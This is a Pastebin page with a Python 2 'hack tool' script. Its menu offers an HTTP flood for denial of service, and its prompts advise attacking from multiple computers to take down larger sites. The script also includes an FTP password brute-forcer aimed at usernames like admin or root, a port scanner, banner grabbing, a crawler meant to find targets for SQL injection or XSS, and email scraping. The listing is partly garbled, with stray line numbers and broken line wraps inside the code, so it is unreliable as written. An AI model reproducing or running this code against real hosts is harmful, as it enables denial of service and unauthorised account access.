Advertisement
AnGeLisDaRk

Untitled

Jan 19th, 2019
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.70 KB | None | 0 0
  1. import sys
  2. import socket
  3. from datetime import datetime
  4. import os
  5. import urllib2
  6. import subprocess
  7. import html2text
  8. import random
  9. from time import *
  10. from string import *
  11. from random import *
  12. import re
  13.  
  14. def dos(host):
  15. subprocess.call( 'cls' , shell =True)
  16. subprocess.call( 'clear' , shell=True )
  17. uagent =[]
  18. uagent.append( "Mozilla/5.0 (compatible; MSIE 9.0;
  19. Windows NT 6.0) Opera 12.14" )
  20. uagent.append( "Mozilla/5.0 (X11; Ubuntu; Linux i686;
  21. rv:26.0) Gecko/20100101 Firefox/26.0" )
  22. uagent.append( "Mozilla/5.0 (X11; U; Linux x86_64; en-
  23. US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3" )
  24. uagent.append( "Mozilla/5.0 (Windows; U; Windows NT
  25. 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET
  26. CLR 3.5.30729)" )
  27. uagent.append( "Mozilla/5.0 (Windows NT 6.2)
  28. AppleWebKit/535.7 (KHTML, like Gecko) Comodo_
  29. Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7" )
  30. uagent.append( "Mozilla/5.0 (Windows; U; Windows NT
  31. 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3
  32. (.NET CLR 3.5.30729)" )
  33. uagent.append( "Mozilla/5.0 (Windows; U; Windows NT
  34. 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1" )
  35. print "[*]This program will use HTTP FLOOD to dos the
  36. host.\n[*]It would work only on small websites if done
  37. only for one computer.\n[*]To take down larger websites
  38. run the attack from multiple computers.\n[*] For better
  39. performance open multiple instances of this software
  40. and attack at the same time.\n"
  41. print "[*]Host to attack: " +host
  42. ip =socket.gethostbyname(host)
  43. print "[*]IP of the host: "+ip +"\n\n"
  44. conn=raw_input ( "Enter the number of packets to be sent
  45. (depends on the site but should be more than 2000 or
  46. 3000 for average sites): " )
  47. conn=int (conn)
  48.  
  49.  
  50.  
  51. for i in range(conn):
  52. try :
  53. s= socket.socket(socket.AF_INET , socket.SOCK_STREAM )
  54. except:
  55. print "Unable to create Socket. Retrying."
  56. continue
  57. random_index = randrange( len(uagent))
  58. try :
  59. s.connect((ip, 80))
  60. except:
  61. print "Unable To Connect. Retrying."
  62. continue
  63. print "[*]FLOODING!"
  64. s.send( "GET / HTTP/1.1\r\n" )
  65. s.send( "Host: "+ host+"\r\n" )
  66. s.send( "User-Agent: " +uagent[random_index] + "\r\n\r\n" )
  67. s.close()
  68. main()
  69.  
  70.  
  71.  
  72.  
  73. def imdb(movie):
  74. subprocess.call( 'cls' , shell =True)
  75. subprocess.call( 'clear' , shell=True )
  76. print "[*] Accessing IMDB database...\n"
  77. m =urllib2.urlopen( 'http://www.imdb.com/find?ref_=nv_
  78. sr_fn&q=' +movie.replace( ' ' , '+' )+'&s=all' )
  79. m =m.read()
  80. for i in m.split( '\n' ):
  81. if "result_text" in i:
  82. if "/title/" in i:
  83. if "/title/" in i.split( 'href=' )[ 1].split( '>' )[ 0].strip( "\"" ).split( "?
  84. ref" )[ 0]:
  85. link ="http://www.imdb.com" +i.split( 'href=' )[1 ].split( '>' )[ 0]
  86. .strip( "\"" ).split( "?ref" )[ 0]
  87.  
  88. url =urllib2.urlopen( str (link))
  89. for line in url.read().split( '\n' ):
  90. if 'strong title' in line:
  91. print line.split( 'title=' )[1].split( ">" )[ 0]
  92. main()
  93.  
  94.  
  95.  
  96.  
  97.  
  98.  
  99. def scanner(host):
  100. subprocess.call( 'cls' , shell =True)
  101. subprocess.call( 'clear' , shell=True )
  102. t1 =datetime.now()
  103. socket.setdefaulttimeout( 2)
  104. print "[*] Scanning "+ host
  105. print "[*] Starting Scanning at "+ str (t1)
  106. host= socket.gethostbyname(host)
  107. print "[*] IP of host: "+host
  108. ports =
  109. [ 1, 5, 7, 18 , 20, 21, 22, 23, 25 , 43, 42, 53, 80, 109 , 110, 115 , 118, 443 ,
  110. 194 , 161, 445 , 156, 137 , 139, 3306 ]
  111. try :
  112. for port in ports:
  113. sock = socket.socket(socket.AF_INET , socket.SOCK_
  114. STREAM )
  115. result = sock.connect_ex((host, port))
  116. if result == 0:
  117. print "Port {} : \t Open" .format(port)
  118. sock.close()
  119.  
  120. except KeyboardInterrupt :
  121. print "You pressed Ctrl+C"
  122. main()
  123.  
  124. except socket.gaierror:
  125. print 'Hostname could not be resolved. Exiting'
  126. main()
  127.  
  128. except socket.error:
  129. print "Couldn't connect to server"
  130. main()
  131. t2 =datetime.now()
  132. timetaken =t2 -t1
  133. print "[*] Scanning ended at: " +str (t2) +"\n"
  134. print "[*] Time taken= "+str (timetaken)
  135. main()
  136.  
  137. subprocess.call( 'cls' , shell =True)
  138. subprocess.call( 'clear' , shell=True )
  139.  
  140. def email(host):
  141. 117
  142. subprocess.call( 'cls' , shell =True)
  143. 118
  144. subprocess.call( 'clear' , shell=True )
  145. 119
  146. print "[*] Email addresses found on page: "
  147. 120
  148. try :
  149. 121
  150. e= urllib2.urlopen( 'http://' + str (host))
  151. 122
  152. except:
  153. 123
  154. print "Error"
  155. 124
  156. try :
  157. 125
  158. e= urllib2.urlopen( 'http://' + str (host))
  159. 126
  160. except:
  161. 127
  162. print "Error"
  163. 128
  164. try :
  165. 129
  166. cont= html2text.html2text(e.read())
  167. 130
  168. except UnicodeDecodeError :
  169. 131
  170. try :
  171. 132
  172. cont= html2text.html2text(urllib2.urlopen( 'http://' +str
  173. (host)).read().decode( 'utf-8' ))
  174. 133
  175. except :
  176. 134
  177. cont= urllib2.urlopen( 'http://' + str (host)).read()
  178. 135
  179. cont= cont.split( '\n' )
  180. 136
  181. for line in cont:
  182. 137
  183. if '@' in line:
  184. 138
  185. print line
  186. 139
  187. main()
  188. 140
  189. 141
  190. def banner(host):
  191. 142
  192. subprocess.call( 'cls' , shell =True)
  193. 143
  194. subprocess.call( 'clear' , shell=True )
  195. 144
  196. try :
  197. 145
  198. s= socket.socket(socket.AF_INET , socket.SOCK_STREAM )
  199. 146
  200. except:
  201. 147
  202. "Error"
  203. 148
  204. host= socket.gethostbyname(host)
  205. 149
  206. port =raw_input ("[*] Enter the port of the service: ")
  207. 150
  208. try :
  209. 151
  210. s.connect((host, int(port)))
  211. 152
  212. print "[*] connection successfull\nWaiting for the
  213. banner...\n"
  214. 153
  215. if int (port) ==80 :
  216. 154
  217. s.send( 'HEAD / HTTP/1.0\r\n\r\n' )
  218. 155
  219. data = s.recv( 1024 )
  220. 156
  221. print "\Banner:\n" +str (data)
  222. 157
  223. 158
  224. s.close()
  225. 159
  226. except:
  227. 160
  228. print "Connection failed"
  229. 161
  230. 162
  231. main()
  232. 163
  233. 164
  234. def ftp(server):
  235. 165
  236. subprocess.call( 'cls' , shell =True)
  237. 166
  238. subprocess.call( 'clear' , shell=True )
  239. 167
  240. print "[*]Put the password file in the same directory.\n[*]
  241. The passwords should be on different lines.\n"
  242. 168
  243. password =[]
  244. 169
  245. passw =raw_input ( "Enter the password file name(eg:
  246. pass.txt, wordlist.txt): " )
  247. 170
  248. username =raw_input ( "Enter the username to hack(eg:
  249. admin, root): " )
  250. 171
  251. f =open(str (passw))
  252. 172
  253. f =f.read()
  254. 173
  255. f =f.split( '\n' )
  256. 174
  257. for i in f:
  258. 175
  259. password.append( str (i))
  260. 176
  261. 177
  262. server= socket.gethostbyname(server)
  263. 178
  264. 179
  265. for password in password:
  266. 180
  267. try :
  268. 181
  269. s= socket.socket(socket.AF_INET , socket.SOCK_STREAM )
  270. 182
  271. except:
  272. 183
  273. print "Unable to create Socket."
  274. 184
  275. main()
  276. 185
  277. try :
  278. 186
  279. s.connect((server, 21))
  280. 187
  281. except:
  282. 188
  283. print "Unable To Connect."
  284. 189
  285. main()
  286. 190
  287. data = s.recv( 1024 )
  288. 191
  289. s.send( 'USER ' + username + '\r\n' )
  290. 192
  291. data = s.recv( 1024 )
  292. 193
  293. s.send( 'PASS ' + password+ '\r\n' )
  294. 194
  295. print data
  296. 195
  297. data += " "+ s.recv( 1024 )
  298. 196
  299. data += " "+ s.recv( 1024 )
  300. 197
  301. s.send( "Quit\r\n" )
  302. 198
  303. s.close
  304. 199
  305. print "[*] Tried: " +password +"\n"
  306. 200
  307. if "230" in data:
  308. 201
  309. print "password found\n"
  310. 202
  311. print "[*] Password is: " + password
  312. 203
  313. main()
  314. 204
  315. else :
  316. 205
  317. print '[*] ' + password+ " is incorrect"
  318. 206
  319. print "No password Found. Try another word list or
  320. username."
  321. 207
  322. 208
  323. def spider(host):
  324. 209
  325. subprocess.call( 'cls' , shell =True)
  326. 210
  327. subprocess.call( 'clear' , shell=True )
  328. 211
  329. print "[*] Use the result to find promising URLs to try
  330. hacking using SQL injection or Xss etc.\n[*] Depth is the
  331. level to go inside the website( between 10-20 is enough
  332. usually but depends on you).\n[*] Output will also be
  333. saved in text files in the same folder as this software.\n"
  334. 212
  335. depth = raw_input ( "Enter the depth level in numbers: " )
  336. 213
  337. count =1
  338. 214
  339. url ="http://" +host
  340. 215
  341. text =open("depth1.txt" , "w+" )
  342. 216
  343. for i in re.findall( '''href=["'](.[^"']+)["']''' , urllib2.urlopen(url)
  344. .read(), re.I):
  345. 217
  346. if "http" not in i:
  347. 218
  348. i ="http://" +host+ i
  349. 219
  350. print i
  351. 220
  352. text.write(i + '\n' )
  353. 221
  354. text.close()
  355. 222
  356. while (count <=int (depth)):
  357. 223
  358. text =open("depth" +str (count) +".txt" , "r" )
  359. 224
  360. text1 =open("depth" +str (count + 1)+ ".txt" , "w+" )
  361. 225
  362. if text.read() == "" :
  363. 226
  364. print "\n****Finished****"
  365. 227
  366. main()
  367. 228
  368. f =text.read().split( "\n" )
  369. 229
  370. for j in f:
  371. 230
  372. if "http" not in j:
  373. 231
  374. j ="http://" +host+ j
  375. 232
  376. 233
  377. for k in re.findall( '''href=["'](.[^"']+)["']''' , urllib2.urlopen(j)
  378. .read(), re.I):
  379. 234
  380. print k
  381. 235
  382. text1.write(k + "\n" )
  383. 236
  384. text.close()
  385. 237
  386. text1.close()
  387. 238
  388. count +=1
  389. 239
  390. main()
  391. 240
  392. 241
  393. def main ():
  394. 242
  395. print "-" * 60+ "\n"
  396. 243
  397. print " Dark Fantasy - Hack Tool "
  398. 244
  399. print "-" * 60+ "\n"
  400. 245
  401. print "1.Port Scanning\n2.DDOS\n3.Banner Grabbing
  402. \n4.Web spider(gather all URLs for web hacking)\n5.FTP
  403. Password Cracker\n6.Email Scraping\n7.IMDB Rating"
  404. 246
  405. choice =raw_input ( "Enter Your Choice: ")
  406. 247
  407. hostname=raw_input ( "Enter Host Site or movie name
  408. (eg:wwww.google.com, www.yahoo.com, Batman, The
  409. Flash): " )
  410. 248
  411. if choice =='1' :
  412. 249
  413. scanner(hostname)
  414. 250
  415. elif choice =='6' :
  416. 251
  417. email(hostname)
  418. 252
  419. elif choice =='3' :
  420. 253
  421. banner(hostname)
  422. 254
  423. elif choice =='7' :
  424. 255
  425. imdb(hostname)
  426. 256
  427. elif choice =='5' :
  428. 257
  429. ftp(hostname)
  430. 258
  431. elif choice =='2' :
  432. 259
  433. dos(hostname)
  434. 260
  435. elif choice =='4' :
  436. 261
  437. spider(hostname)
  438. 262
  439. else :
  440. 263
  441. print "Wrong choice"
  442. 264
  443. 265
  444. if __name__ =='__main__' :
  445. 266
  446. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement